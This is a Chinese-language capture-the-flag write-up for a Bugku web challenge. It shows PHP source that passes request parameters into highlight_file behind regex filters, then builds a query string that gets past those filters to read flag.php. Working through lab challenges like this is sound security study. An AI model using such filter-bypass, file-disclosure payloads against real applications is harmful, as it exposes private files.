当前位置: 代码迷 >> 综合 >> Bugku,Web:No one knows regex better than me
  详细解决方案

Bugku,Web:No one knows regex better than me

热度:98   发布时间:2023-12-05 18:50:57.0

 进入场景看到源码

分析代码

<?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];$second=$zero.$first;//将两个变量连接成一个新的变量if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
{                        //Yeedo,wants,a,girl,friend,or,a,flag 出现一个即满足$key=$second;if(preg_match("/\.\.|flag/",$key)){die("Noooood hacker!");//key(second)中不能出现..或flag}else{$third=$first;if(preg_match("/\\|\056\160\150\x70/i",$third)){$end=substr($third,5);//去掉end前五个字符highlight_file(base64_decode($zero).$end);//maybe flag in flag.php//64编码连接end}}
}
else
{highlight_file(__FILE__);
} 

\056\160\150\x70

.php        前三个为十进制,最后一个十六进制

zero 为 flag 的 base64 编码

zero=ZmxhZw==

$end=xxxxx.php

继续

$first=$third

$second=ZmxhZw==girlo.php

最后构造出来

 zero=ZmxhZw==&first=girlo.php

但是没有通过,回头看,发现 \\|\056\160\150\x70 这一段漏掉了前面的 \| 

脚本转换时为 | ,所以把最后一位字符换掉

 zero=ZmxhZw==&first=girl|.php

 得到 flag